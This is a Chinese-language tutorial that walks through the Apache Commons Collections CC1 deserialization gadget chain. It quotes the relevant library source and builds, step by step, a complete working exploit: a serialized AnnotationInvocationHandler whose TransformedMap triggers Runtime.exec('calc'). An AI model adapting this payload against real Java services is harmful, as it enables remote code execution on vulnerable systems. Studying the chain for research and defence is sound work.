// ConstantTransformer构造函数及transform()函数public ConstantTransformer(Object constantToReturn) {    super();    iConstant = constantToReturn;} public Object transform(Object input) {    return iConstant;}

// ChainedTransformer构造函数及transform()函数public ChainedTransformer(Transformer[] transformers) {    super();    iTransformers = transformers;} public Object transform(Object object) {    for (int i = 0; i < iTransformers.length; i++) {        object = iTransformers[i].transform(object);    }    return object;}

// InvokerTransformer构造函数及transform()函数public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {    super();    iMethodName = methodName;    iParamTypes = paramTypes;    iArgs = args;} // InvokerTransformer的transform()方法public Object transform(Object input) {    if (input == null) {        return null;    }    try {        Class cls = input.getClass();        Method method = cls.getMethod(iMethodName, iParamTypes);        return method.invoke(input, iArgs);     } catch (NoSuchMethodException ex) {        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");    } catch (IllegalAccessException ex) {        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");    } catch (InvocationTargetException ex) {        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);    }}

// 正常弹计算器Runtime.getRuntime().exec("calc"); // 反射调用计算器// 获取一个Runtime的对象Runtime r = Runtime.getRuntime();// 获取Runtime类Class c = Runtime.class;// 获取Runtime类的exec()方法，（方法名，参数类型）Method execMethod = c.getMethod("exec", String.class);// 反射调用exec弹计算器，（对象，参数）execMethod.invoke(r,"calc");  /*InvokerTransformer调用计算器相当于重新实现了反射，把上面的反射调用后两行写成一行*/Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec",        new Class[]{String.class}, new Object[]{"calc"}).transform(r);

protected Object checkSetValue(Object value) {    return valueTransformer.transform(value);}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {    super(map);    this.keyTransformer = keyTransformer;    this.valueTransformer = valueTransformer;}

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {    return new TransformedMap(map, keyTransformer, valueTransformer);}

// 实例化一个InvokerTransformer (invokerTransformer)InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});// 新建一个map ，传入decorate（）中HashMap<Object, Object> map = new HashMap<>();Map<Object, Object> transforedMap = TransformedMap.decorate(map, null, invokerTransformer);

// 实例化一个InvokerTransformer (invokerTransformer)InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});// 新建一个map ，传入decorate（）中HashMap<Object, Object> map = new HashMap<>();Map<Object, Object> transforedMap = TransformedMap.decorate(map, null, invokerTransformer);for(Map.Entry entry : transforedMap.entrySet()){    entry.setValue(r);}

private void readObject(java.io.ObjectInputStream s)    throws java.io.IOException, ClassNotFoundException {    s.defaultReadObject();     // Check to make sure that types have not evolved incompatibly     AnnotationType annotationType = null;    try {        annotationType = AnnotationType.getInstance(type);    } catch(IllegalArgumentException e) {        // Class is no longer an annotation type; time to punch out        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");    }     Map<String, Class<?>> memberTypes = annotationType.memberTypes();     // If there are annotation members without values, that    // situation is handled by the invoke method.    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {        String name = memberValue.getKey();        Class<?> memberType = memberTypes.get(name);        if (memberType != null) {  // i.e. member still exists            Object value = memberValue.getValue();            if (!(memberType.isInstance(value) ||                  value instanceof ExceptionProxy)) {                memberValue.setValue(                    new AnnotationTypeMismatchExceptionProxy(                        value.getClass() + "[" + value + "]").setMember(                            annotationType.members().get(name)));            }        }    }}AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {    Class<?>[] superInterfaces = type.getInterfaces();    if (!type.isAnnotation() ||        superInterfaces.length != 1 ||        superInterfaces[0] != java.lang.annotation.Annotation.class)        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");    this.type = type;    this.memberValues = memberValues;}

// 获取类Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");// 获取构造函数Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);// 爆破annotationInvocationHandlerConstructor.setAccessible(true);// 获取实例，随便写一个常用的注解（Override）Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transforedMap); serialize(o); // 序列化deserialize("ser.bin"); // 反序列化

// 此处的Runtime 对象 r 是不能序列化的Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});HashMap<Object, Object> map = new HashMap<>();map.put("key","value");Map<Object, Object> transforedMap = TransformedMap.decorate(map, null, invokerTransformer);/*for(Map.Entry entry : transforedMap.entrySet()){     entry.setValue(r);}*/// 获取类Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");// 获取构造函数Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);// 爆破annotationInvocationHandlerConstructor.setAccessible(true);// 获取实例Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transforedMap); serialize(o); // 序列化deserialize("ser.bin"); // 反序列化

//        正常的反射调用//        获取Runtime的class对象        Class c = Runtime.class;//        获取getRuntime方法  （函数名，参数类型）无参方法，参数类型写null        Method getRuntimeMethod = c.getMethod("getRuntime", null);//        获取到Runtime的对象r//        第一个参数表示在那个对象调用，getRuntime()为static方法，所以为null//        第二个参数表示方法的参数，没有参数，所以为null        Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);//        获取exec方法        Method execMethod = c.getMethod("exec", String.class);//        调用exec，（对象，参数）        execMethod.invoke(r, "calc");

/*       改写成InvokerTransformer(方法名， 参数类型， 参数)，链式调用//        相当于//        Class c = Runtime.class;//        Method getRuntimeMethod = c.getMethod("getRuntime", null); 获取getRuntime方法，相当于在Runtime.class上调用getMethod()方法，参数为getRuntime,参数类型为null*/        Method getRuntimeMethod1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},                new Object[]{"getRuntime", null}).transform(Runtime.class);//        获取Runtime对象        Runtime r1 = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},                new Object[]{null, null}).transform(getRuntimeMethod1);        new InvokerTransformer("exec", new Class[]{String.class},                new Object[]{"calc"}).transform(r1);

//改成ChainedTransformer的形式// 构造transformers 数组Transformer[] transformers = new Transformer[]{        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},                new Object[]{"getRuntime", null}),        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},                new Object[]{null, null}),        new InvokerTransformer("exec", new Class[]{String.class},                new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(Runtime.class); // 调试的时候要注释掉

// 此处的Runtime 对象 r 是不能序列化的，需要修改// Runtime r = Runtime.getRuntime();// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});Transformer[] transformers = new Transformer[]{        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},                new Object[]{"getRuntime", null}),        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},                new Object[]{null, null}),        new InvokerTransformer("exec", new Class[]{String.class},                new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>();map.put("key","value");Map<Object, Object> transforedMap = TransformedMap.decorate(map, null, chainedTransformer);/*for(Map.Entry entry : transforedMap.entrySet()){     entry.setValue(r);}*/// 获取类Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");// 获取构造函数Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);// 爆破annotationInvocationHandlerConstructor.setAccessible(true);// 获取实例Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transforedMap); serialize(o); // 序列化deserialize("ser.bin"); // 反序列化

public @interface Override {}for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {    String name = memberValue.getKey();    // 因为Override里面是空实现，所以memberType为null    Class<?> memberType = memberTypes.get(name);    if (memberType != null) {  // i.e. member still exists        Object value = memberValue.getValue();        if (!(memberType.isInstance(value) ||              value instanceof ExceptionProxy)) {            memberValue.setValue(                new AnnotationTypeMismatchExceptionProxy(                    value.getClass() + "[" + value + "]").setMember(                        annotationType.members().get(name)));        }    }}

Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transforedMap);

Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transforedMap);

public @interface Target {    /**     * Returns an array of the kinds of elements an annotation type     * can be applied to.     * @return an array of the kinds of elements an annotation type     * can be applied to     */    ElementType[] value();}

if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))

// 此处的Runtime 对象 r 是不能序列化的，需要修改// Runtime r = Runtime.getRuntime();// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});Transformer[] transformers = new Transformer[]{        new ConstantTransformer(Runtime.class),        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},                new Object[]{"getRuntime", null}),        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},                new Object[]{null, null}),        new InvokerTransformer("exec", new Class[]{String.class},                new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>();// 第一个值要与所选注解中的参数对应，Target中的参数为value，所以第一个参数要改为valuemap.put("value","value");Map<Object, Object> transforedMap = TransformedMap.decorate(map, null, chainedTransformer);/*for(Map.Entry entry : transforedMap.entrySet()){     entry.setValue(r);}*/// 获取类Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");// 获取构造函数Constructor<?> annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);// 爆破annotationInvocationHandlerConstructor.setAccessible(true);// 获取实例Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transforedMap); serialize(o); // 序列化deserialize("ser.bin"); // 反序列化

# 往期推荐

1.CVE-2022-21882提权漏洞学习笔记

2.wibu证书 - 初探

3.win10 1909逆向之APIC中断和实验

4.EMET下EAF机制分析以及模拟实现

5.sql注入学习分享

6.V8 Array.prototype.concat函数出现过的issues和他们的POC们